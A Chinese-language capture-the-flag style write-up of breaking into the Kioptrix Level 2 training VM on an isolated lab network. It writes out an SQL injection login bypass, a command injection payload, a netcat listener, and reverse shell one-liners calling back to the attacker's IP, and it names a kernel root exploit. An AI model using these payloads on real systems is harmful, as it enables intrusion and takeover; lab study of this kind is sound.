最近不斷的在尋找資安相關的練習,也突然想到之前寫過解的 VulnHub 文章,題目是 Kioptrix Level 1.1 (#2) ,由於當時邊解邊筆記,僅僅寫在 Hackmd 上,現在稍作整理並且把內容公布出來,其實解法也跟大多數人相同,就當是讓站長把 Hackmd 上的筆記丟過來唄。
建置靶機
首先建置上花了不少時間,主要原因是官方提供的虛擬設備有把網卡設定為「Bridged」模式,但攻擊機要與靶機存在同往段才行,預設 Bridged 應該是沒什麼問題,只是當下的環境是每台電腦限制一組 IP,並非 DHCP 環境,所以必須改為 NAT 才行。
經過幾次修改,開機之後不曉得什麼原因,設備會自行切換成「Bridged」,數次嘗試之後,將原先的網卡移除,新增新的網卡上去才成功。
尋找靶機
既然已經將攻擊機、靶機建置在同網段下了,還是需要尋找一下靶機確切的 IP 位置,首先要先得知道自己的 IP 位置,使用指令 ip -c a
,如下(反白處為本機IP),得到 192.168.147.133
。
接著可以透過 nmap 工具找尋靶機所在位置,指令 nmap -F 192.168.147.0/24
,接著找到 192.168.147.134
,猜想應該是為 Kioptrix 的靶機 IP。
資訊蒐集
首先知道該靶機有以下的 Port:
- 22
- 80
- 111
- 443
- 631
- 3306
尋找破口
普遍的 80、443 為 HTTP(s),可以直接透過瀏覽器連上去,如下。
是一個簡單的登入頁面,直覺性的嘗試使用 SQL-Injection 進行登入。
User: ' or 1 = 1 #-- -
Password: 123456
結果一試就進去了,隨之而來的是一個提供 ping 功能的頁面,很直接的就聯想到 Command-Injection,也接著著手嘗試。
果不其然,提交參數為 ;ls
時,輸出了該目錄下的檔案清單。
有這樣的 cmd-i 其實就可以直接上 Reverse shell 了,但該部分的技術並沒有實際操作過,先是找了許多資料。
主要得到的方法如下:
Server
nc -lvp 8888
參數部分,透過 man nc
檢視。
-l Used to specify that nc should listen for an incoming connection rather than initi‐
ate a connection to a remote host. The destination and port to listen on can be
specified either as non-optional arguments, or with options -s and -p respctively.
It is an error to use -l in conjunction with the -z option. Additionally, any time‐
outs specified with the -w option are ignored.
-v Have nc give more verbose output.
-p source_port
Specifies the source port nc should use, subject to privilege restrictions and
availability.
Client
bash -i >& /dev/tcp/192.168.147.133/8888 0>&1
主要可以得到:
bash -i >&/dev/tcp/<IP>/<PORT> 0>&1
在攻擊靶機之前,在本地端以 127.0.0.1 進行測試,發現會有連上即斷線的問題,隨即尋找解決方法,或是替代方案。
最後改由使用 sh
而非網路上提供多數方法使用 bash
。
sh -i >& /dev/tcp/192.168.147.133/8888 0>&1
Reverse Shell 補充
bash -i >&
/dev/tcp/<IP>/<PORT>
0>&1
簡單解析一下該語句:
首先使用 bash
其參數為 i
,透過指令 man bash
可以找到相關的參數意義。
-i If the -i option is present, the shell is interactive.
簡單的說就是交互模式 interactive,隨後認識後方的 /dev/tcp/<IP>/<PORT>
。
了解之後,該 /dev/tcp 文件,可以很方便的建立 socket 連線,再加上 bash -i
的交互模式,便可以從遠端操作指令,而後方的 0>&1
,之前也有寫過一篇文章探討 2>&1([學習筆記] Linux Command 「2>&1」 輕鬆談)。
Get Root
目前已經成功取得 Shell 了,但使用者是 apache
,至於要什麼取得 root 呢?
首先還是蒐集資料:
lsb_release -a
可以得到作業系統版本是 CentOS 4.5,發現版本相當的老舊,一定有許多可以利用的 exploit,直接上 Google 下關鍵字 CentOS 4 4.5 exploit
。
找到以下兩個符合條件的 Exploit(CVE-2009-2692):
這部分使用第一個「Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) – ‘sock_sendpage()’ Ring0 Privilege Escalation (5)」。
其先將檔案下載到主機上,並且使用 gcc 編譯,並且執行取得 root。